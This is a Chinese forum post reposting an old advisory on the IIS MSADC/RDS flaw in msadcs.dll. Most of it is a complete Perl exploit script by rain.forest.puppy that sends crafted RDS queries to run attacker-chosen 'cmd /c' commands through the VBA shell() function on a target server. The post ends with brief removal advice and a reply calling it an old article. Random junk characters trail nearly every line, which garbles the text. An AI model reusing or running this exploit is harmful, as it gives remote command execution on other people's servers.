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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 3d@ef |  
#Jv43L H  
涉及程序: {WKOJG+.  
Microsoft NT server @%H8"A  
5&G 5eA  
描述: .d e  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 IW]*i?L  
YJc%h@_=]  
详细: '&)D>@g  
如果你没有时间读详细内容的话,就删除: QnP{$rT  
c:\Program Files\Common Files\System\Msadc\msadcs.dll I)rGOda{  
有关的安全问题就没有了。 3XGB+$]C  
blmmm(|~|  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 9H[/Tj-;  
)"F5lOA6  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 K{N%kk%F  
关于利用ODBC远程漏洞的描述,请参看: pEkOSG  
E+Im~=m$  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _lNC<7+#h  
iz$FcA]  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 + lP5XY{  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp  *0-v!\{  
[5!'ykZ  
这里不再论述。 Kny%QBoiw  
fZ{&dslg  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: <g*.p@o  
6I5o2i  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset .`mtA`N  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! %Dra7B%  
n3*UgNg%fK  
;n` $+g:>  
#将下面这段保存为txt文件,然后: "perl -x 文件名" pY, O_ t$  
?-d Ain1w  
#!perl Q QT G9s  
# srsK:%`  
# MSADC/RDS 'usage' (aka exploit) script @7 )Z  
# u2\+?`Ox  
# by rain.forest.puppy s><IykIi  
# ?LR"hZ>  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 61L7 -~  
# beta test and find errors! Ogd8!'\  
;C+cE#   
use Socket; use Getopt::Std; e/ WBgiLw  
getopts("e:vd:h:XR", \%args); U|9U(il  
[4ee <J  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; T ^N L:78  
t18UDR{  
if (!defined $args{h} && !defined $args{R}) { ~~ U<  
print qq~ %8a=mQl1^  
Usage: msadc.pl -h <host> { -d <delay> -X -v } j=FMYd8$y  
-h <host> = host you want to scan (ip or domain)  YN4"O>  
-d <seconds> = delay between calls, default 1 second \m%J`{Mt  
-X = dump Index Server path table, if available g%X&f_@  
-v = verbose ~c!Rx'  
-e = external dictionary file for step 5 ot]>}[  
x3gwG)Sf  
Or a -R will resume a command session \ibCR~W4  
wInY7u Bd!  
~; exit;} Is<x31R  
>1m)%zt  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; xnT3^ #-h  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} " \`BPN  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} W0C{~|e  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); o*-h%Z.  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} @l)\?IEF@f  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } (rAiDRQ[  
)\D2\1e(c  
if (!defined $args{R}){ $ret = &has_msadc; uXjoGcW  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} k{?!O\yY  
p}96uaC1  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 1!X1wCT  
. "cmd /c "; hx*HY%\P  
$in=<STDIN>; chomp $in; O >nK ,.  
$command="cmd /c " . $in ; ZGA)r0] P`  
:jBZK=3F>  
if (defined $args{R}) {&load; exit;} Q@7l"8#[t  
nt drXg  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ,tcP=f dk]  
&try_btcustmr; "3\oQvi.  
| A3U@>6  
print "\nStep 2: Trying to make our own DSN..."; (W7;}gysh  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; +{5JDyh0  
1XqIPiXJ  
print "\nStep 3: Trying known DSNs..."; A<mj8qz  
&known_dsn; o`b$^hv{A  
Hde]DK,d  
print "\nStep 4: Trying known .mdbs..."; bK!,Pc<  
&known_mdb; W\&WS"=~  
}Q!h ov  
if (defined $args{e}){ Q^*G`&w,  
print "\nStep 5: Trying dictionary of DSN names..."; umZlIH[7  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } SAd 97A:  
:0WkxEY9  
print "Sorry Charley...maybe next time?\n"; i/5y^  
exit; g@<sU0B  
wEBtre7  
############################################################################## zt-'SY  
9 %D$T'K  
sub sendraw { # ripped and modded from whisker f-vZ2+HP  
sleep($delay); # it's a DoS on the server! At least on mine... u+I3IdU3  
my ($pstr)=@_; y T[Lzv#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wCV>F-  
die("Socket problems\n"); #L_@s d  
if(connect(S,pack "SnA4x8",2,80,$target)){ NS7@8 #C  
select(S); $|=1; AF6d#Klog  
print $pstr; my @in=<S>; dNOX&$/=  
select(STDOUT); close(S); A Z4|&iT  
return @in; G /NT e  
} else { die("Can't connect...\n"); }} ;[FW!  
 KYnW7|*  
############################################################################## Sg/:n,68  
!S~,> ,yd  
sub make_header { # make the HTTP request O3_D~O ."  
my $msadc=<<EOT _L?v6MTj  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 b^uP^](J  
User-Agent: ACTIVEDATA >r;ABz/  
Host: $ip R#"U/8b>z  
Content-Length: $clen %T`4!:vy  
Connection: Keep-Alive q :TZ=bs^  
fn1 ?Qp|  
ADCClientVersion:01.06 .tZjdNE(h  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 cYZwWMzp  
wrz+2EP`  
--!ADM!ROX!YOUR!WORLD! \Ku9"x  
Content-Type: application/x-varg 'dmp4VT3  
Content-Length: $reqlen N90\]dFmy  
jHs<s`#h  
EOT 3C> 2x(]M  
; $msadc=~s/\n/\r\n/g; HF*j`}  
return $msadc;} B`g<Ge~  
>v^2^$^u  
############################################################################## ML=hKwCA  
1bV2  
sub make_req { # make the RDS request s,1pZT <E  
my ($switch, $p1, $p2)=@_; eNI kiJ$uS  
my $req=""; my $t1, $t2, $query, $dsn; BengRG[  
u3Zzu\{  
if ($switch==1){ # this is the btcustmr.mdb query EO4" Z@ji  
$query="Select * from Customers where City=" . make_shell(); o>xxmyW|  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ?D RFsA  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} [ea6dv4p  
*]{9K  
elsif ($switch==2){ # this is general make table query tU+@1~ ~  
$query="create table AZZ (B int, C varchar(10))"; 2"pE&QNd  
$dsn="$p1";} xB?S#5G}  
JIyBhFI  
elsif ($switch==3){ # this is general exploit table query :NwMb^>  
$query="select * from AZZ where C=" . make_shell(); )z]q"s5 Y  
$dsn="$p1";} :N^@a-  
NWo7wVwc/c  
elsif ($switch==4){ # attempt to hork file info from index server Ybs=W< -  
$query="select path from scope()"; n.2E8m/  
$dsn="Provider=MSIDXS;";} 3v9gb,)y\  
uS! 35{.>  
elsif ($switch==5){ # bad query uB5h9&57  
$query="select"; a<OCO0irJ  
$dsn="$p1";} ](B& l{V  
[47K7~9p  
$t1= make_unicode($query); ^>,< *p  
$t2= make_unicode($dsn); t x:rj6 -z  
$req = "\x02\x00\x03\x00"; jw:4fb  
$req.= "\x08\x00" . pack ("S1", length($t1)); h]J&A  
$req.= "\x00\x00" . $t1 ; #,f}lV,&  
$req.= "\x08\x00" . pack ("S1", length($t2)); * kX3sG$8  
$req.= "\x00\x00" . $t2 ; |@o]X?^  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 6Nfof  
return $req;} rK(x4]I l"  
w5dI k]T  
############################################################################## d8Q_6(Ar|  
XBfiaj  
sub make_shell { # this makes the shell() statement ,W)IVc   
return "'|shell(\"$command\")|'";} q|47;bK'  
z;fd#N:  
############################################################################## l }2%?d  
%\(y8QV  
sub make_unicode { # quick little function to convert to unicode {Y3_I\H8{  
my ($in)=@_; my $out; &%f]-=~  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 3b g4#c  
return $out;} s T :tFK\  
!1a|5 xrn  
############################################################################## b'Fx),  
r 85Xa'hh  
sub rdo_success { # checks for RDO return success (this is kludge) ,? 0-=o  
my (@in) = @_; my $base=content_start(@in); BNL8hK`D  
if($in[$base]=~/multipart\/mixed/){ L}e"nzTE6I  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} <B ]i80.  
return 0;} Dyouk+08x  
1jUhG2y  
############################################################################## rZ8Y=) e  
(n":] 8}  
sub make_dsn { # this makes a DSN for us WuP([8  
my @drives=("c","d","e","f"); X/`#5<x  
print "\nMaking DSN: "; :/yr(V{  
foreach $drive (@drives) { [6,]9|~  
print "$drive: "; J'G`=m"-'  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . .R$+#_  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" s0XRL1kWr  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); .T#y N\S1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; #q~3c;ec  
return 0 if $2 eq "404"; # not found/doesn't exist *!r\GGb  
if($2 eq "200") { :Fi%Cef|  
foreach $line (@results) { IS0HV$OI  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} h30QCk  
} return 0;} DJ mQZ+{2  
(PsSE:r}+  
############################################################################## RB lOTQjv  
0_,3/EWa  
sub verify_exists { X YNUss  
my ($page)=@_; |g?/~%7  
my @results=sendraw("GET $page HTTP/1.0\n\n"); O, ``\(P  
return $results[0];} Kh:#S|   
;G%wc!  
############################################################################## j$|Yd=  
G)tq/`zNw  
sub try_btcustmr { E1l\~%A  
my @drives=("c","d","e","f"); 4PO%qO  
my @dirs=("winnt","winnt35","winnt351","win","windows"); yv!''F:9F  
TzevC$m;z  
foreach $dir (@dirs) { X5L(_0?F1  
print "$dir -> "; # fun status so you can see progress |7S4;  
foreach $drive (@drives) { 7kX7\[zN  
print "$drive: "; # ditto 2vh!pez_  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; JL.yd H79  
$reqlenlen=length( "$reqlen" ); (:fE _H2z  
$clen= 206 + $reqlenlen + $reqlen; zCGmn& *M  
ZyS;+"  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Mk'n~.mb  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} \c9t]py<.h  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 48~m=mI  
l# !@{ <  
############################################################################## NDIc?kj~  
p(x1D]#Z[  
sub odbc_error { ^O$[Y9~*  
my (@in)=@_; my $base; +]S;U&vQ  
my $base = content_start(@in); H4y1Hpa,  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this So)KI_M  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; (v'lb!j^#  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; _Y ><ih  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 0'\FrG  
return $in[$base+4].$in[$base+5].$in[$base+6];} k@t,[  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; G3_mWppH  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . YA;8uMqh;  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} XD+cs.{5  
* 0&i'0>  
############################################################################## #>=/15:  
5&rCNi*\  
sub verbose { YzhN|!;!k  
my ($in)=@_; ^+- L;XkeY  
return if !$verbose; ?9('o\N:  
print STDOUT "\n$in\n";} /K1$_   
l9ifUh e  
############################################################################## D25gg  
{o5K?Pb  
sub save { 9A} kkMB:  
my ($p1, $p2, $p3, $p4)=@_; j0pvLZjM  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; :_~PU$%0  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; H%NLL4&wu  
close OUT;} 9$Pl'>5  
F'5d\v  
############################################################################## :`>+f.)  
Z z; <P  
sub load { {Jw<<<G  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; o$blPTN  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ,I2re G  
@p=<IN>; close(IN); jC/JiI  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); (;2J(GZ:$U  
$target= inet_aton($ip) || die("inet_aton problems"); {ck  
print "Resuming to $ip ..."; :LIKp;  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; E!}-qbH^  
if($p[1]==1) { }%>$}4 ,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; /qkIoF2  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; X,!OWz:[  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); se n{f^U  
if (rdo_success(@results)){print "Success!\n";} $MJDB  
else { print "failed\n"; verbose(odbc_error(@results));}} [^(R1K  
elsif ($p[1]==3){ >e$^# \D  
if(run_query("$p[3]")){ h4B#T'b  
print "Success!\n";} else { print "failed\n"; }} TNFm7}=  
elsif ($p[1]==4){ L$u&~"z-  
if(run_query($drvst . "$p[3]")){ qT<qu(V:  
print "Success!\n"; } else { print "failed\n"; }} rCSG@D.  
exit;} [-Dgo1}Qr  
eVCkPv *  
############################################################################## ?;KJ (@Va  
3Ibt'$dK  
sub create_table { _[OEE<(  
my ($in)=@_; ZvnZ}t >?  
$reqlen=length( make_req(2,$in,"") ) - 28; 1M~:]}*<  
$reqlenlen=length( "$reqlen" ); .{]c&Ef+f  
$clen= 206 + $reqlenlen + $reqlen; 8 {4D|o#O  
my @results=sendraw(make_header() . make_req(2,$in,"")); $L#Z?76v  
return 1 if rdo_success(@results); w7t"&=pF7  
my $temp= odbc_error(@results); verbose($temp); A6x_!  
return 1 if $temp=~/Table 'AZZ' already exists/; ^`>Ysc(@&  
return 0;} zWmo OnK  
u.L8tR:(  
############################################################################## ! ^*;c#  
v$Y1+Ep9  
sub known_dsn { !K^kKP*l  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go NX{-D}1X=  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", }Mb'tGW  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", _F|_C5A  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); x+:,b~Skk  
2wuW5H8w{  
foreach $dSn (@dsns) { KlqJ EtO_  
print "."; @8M2'R\  
next if (!is_access("DSN=$dSn")); VF!kr1n!  
if(create_table("DSN=$dSn")){ ^1Zq0  
print "$dSn successful\n"; O->(9k<  
if(run_query("DSN=$dSn")){ dG~B3xg;5i  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { vkd<l&zD  
print "Something's borked. Use verbose next time\n";}}} print "\n";} b5 C}K  
v"('_!  
############################################################################## q;a*gqt   
yE|} r  
sub is_access { z.9FDQLp  
my ($in)=@_; ) Q  
$reqlen=length( make_req(5,$in,"") ) - 28; +uiH0iGS  
$reqlenlen=length( "$reqlen" ); ,Qi|g'a  
$clen= 206 + $reqlenlen + $reqlen; PN^1  
my @results=sendraw(make_header() . make_req(5,$in,"")); eGypXf%  
my $temp= odbc_error(@results); R EH&kcn  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); y[@j0xlO  
return 0;} ZRq}g:  
e}O-I  
############################################################################## NF\^'W@N  
UE`4$^qs  
sub run_query { M>H^<N}'A  
my ($in)=@_; 0)Xue9AS  
$reqlen=length( make_req(3,$in,"") ) - 28; cLko  
$reqlenlen=length( "$reqlen" ); 'S D|ObBY  
$clen= 206 + $reqlenlen + $reqlen; Y <i}"eI*  
my @results=sendraw(make_header() . make_req(3,$in,"")); -MW(={#   
return 1 if rdo_success(@results); Y./}zCT  
my $temp= odbc_error(@results); verbose($temp); RdVis|7o  
return 0;} yb.|7U?/x  
<QW1fE  
############################################################################## R6@~   
a~eLkWnh<k  
sub known_mdb { @?cXa: tX  
my @drives=("c","d","e","f","g"); b= ec?n #7  
my @dirs=("winnt","winnt35","winnt351","win","windows"); :2Rci`lp  
my $dir, $drive, $mdb; 8J?`_  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; -0IFPL8  
V45Udwp ^  
# this is sparse, because I don't know of many yY-t4WeXP  
my @sysmdbs=( "\\catroot\\icatalog.mdb", =qR7-Q8B  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", DHNii_w4v  
"\\system32\\certmdb.mdb", lGHu@(n<  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% {ugKv?e ;  
*9{Wn7pck/  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", %TTL^@1!b  
"\\cfusion\\cfapps\\forums\\forums_.mdb", {*Wwu f.  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", )I-?zyL  
"\\cfusion\\cfapps\\security\\realm_.mdb", oS|~\,p"  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", }~~^ZtJ\  
"\\cfusion\\database\\cfexamples.mdb", 6V6g{6W,/  
"\\cfusion\\database\\cfsnippets.mdb", iK:qPrk-  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", j72] _G  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", CJtjn  
"\\cfusion\\brighttiger\\database\\cleam.mdb", -%gd')@SfD  
"\\cfusion\\database\\smpolicy.mdb", wOkJ:k   
"\\cfusion\\database\cypress.mdb", M"l rwun^  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", RT A=|q  
"\\website\\cgi-win\\dbsample.mdb", [T#a1!  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Y~SlipY_  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" n*4X/K  
); #these are just B|$13dHfa  
foreach $drive (@drives) { >A( C9_\  
foreach $dir (@dirs){ A*U'SCg(G  
foreach $mdb (@sysmdbs) { R9-JjG2v  
print "."; m+^;\DFJ,  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ pV|?dQ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; q]%bd[zkz  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ x[~OVG0M*  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; .%b_3s".  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ^JVP2L>o*  
s /q5o@b{  
foreach $drive (@drives) { TdIFZ[<7  
foreach $mdb (@mdbs) { v oS"X  
print "."; GJ_)Cl+5E  
if(create_table($drv . $drive . $dir . $mdb)){ ~@?-|xLqQ  
print "\n" . $drive . $dir . $mdb . " successful\n"; $ 14DTjj  
if(run_query($drv . $drive . $dir . $mdb)){ Y"rV[oe   
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; !;!~5"0~"  
} else { print "Something's borked. Use verbose next time\n"; }}}} +5|nCp6||j  
} =i>F^7)U1  
'wnY>hN  
############################################################################## "?&bh@P&  
29657k8  
sub hork_idx { 4 Wd5Goe:  
print "\nAttempting to dump Index Server tables...\n"; Hz3X*G\5b  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; yBh"qnOT  
$reqlen=length( make_req(4,"","") ) - 28; sq|@9GS0T  
$reqlenlen=length( "$reqlen" ); 9<c4y4#y  
$clen= 206 + $reqlenlen + $reqlen; `v2l1CQ: ^  
my @results=sendraw2(make_header() . make_req(4,"","")); hg=G//  
if (rdo_success(@results)){ 0F'UFn>{  
my $max=@results; my $c; my %d; rAw1g,&  
for($c=19; $c<$max; $c++){ NKhR%H  
$results[$c]=~s/\x00//g; u0hbM9U>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; z n8ig/C  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; NG!Q< !Y  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Xq!tXJ)  
$d{"$1$2"}="";} Cwf$`?|W  
foreach $c (keys %d){ print "$c\n"; } Rj;e82%%N  
} else {print "Index server doesn't seem to be installed.\n"; }} i8@e}O I  
Y8{1?LO  
############################################################################## TaJn2cC^  
na:^7:I  
sub dsn_dict { gH)B` @  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $uB(@Ft.  
while(<IN>){  CyDf[C)=  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; lfeWtzOf  
next if (!is_access("DSN=$dSn")); rh&Eu qE%  
if(create_table("DSN=$dSn")){ L;7mt 4H  
print "$dSn successful\n"; nKkTnTSa  
if(run_query("DSN=$dSn")){ ZM, ^R?e  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { iB`]Z@ZC  
print "Something's borked. Use verbose next time\n";}}} ?yeC j1X  
print "\n"; close(IN);} U)]natB  
A@AGu#W  
############################################################################## <X&:tZ #/  
7lPk~0  
sub sendraw2 { # ripped and modded from whisker u3brb'Y+  
sleep($delay); # it's a DoS on the server! At least on mine... #e269FwN  
my ($pstr)=@_; /O9EI'40)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =u"|qD  
die("Socket problems\n"); !Qa7-  
if(connect(S,pack "SnA4x8",2,80,$target)){ lD#1"$Coz  
print "Connected. Getting data"; i3j jPN!  
open(OUT,">raw.out"); my @in; n(S-F g  
select(S); $|=1; print $pstr; d'fpaLV  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} (k.7q~:  
close(OUT); select(STDOUT); close(S); return @in; f_XCO=8'v  
} else { die("Can't connect...\n"); }} vqZM89 xY  
l%~zj,ew  
############################################################################## }0),b ?*e  
(HKm2JuFG  
sub content_start { # this will take in the server headers Gn4b\y%%  
my (@in)=@_; my $c; bl-s0Ax-  
for ($c=1;$c<500;$c++) { ^:ngHue8~  
if($in[$c] =~/^\x0d\x0a/){ ' qS!n  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } P"@^'yR5WK  
else { return $c+1; }}} g``4U3T%X  
return -1;} # it should never get here actually %y+j~]^:  
--)[>6)I  
############################################################################## ur7a%NH  
*OcptmY<  
sub funky { (5;xs  
my (@in)=@_; my $error=odbc_error(@in); .e#j#tQp  
if($error=~/ADO could not find the specified provider/){ ?7a[| -  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; dsuW4 ^ l  
exit;} jzMGRN/67  
if($error=~/A Handler is required/){ HbVm O]#$D  
print "\nServer has custom handler filters (they most likely are patched)\n"; h9nCSj  
exit;} 2F7R,rr  
if($error=~/specified Handler has denied Access/){ \Da$bJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; L-dKZ8Q  
exit;}} ox#4|<qM  
$, 42h  
############################################################################## kA`qExw%  
d^^>3L!h  
sub has_msadc { Lr&BZM  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); -v@^6bQVp  
my $base=content_start(@results); q)zvePO#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); %*=FLtBjo  
return 0;} G[,VPC=  
epm|pA*  
######################## 8, ^UQ5x  
^o:5B%}#[  
>UH=]$0N  
解决方案: 1sA-BQL  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll bNgcZ V.  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 j)Gr@F>  
B4=gMVp1  
拿出来充数 哈哈
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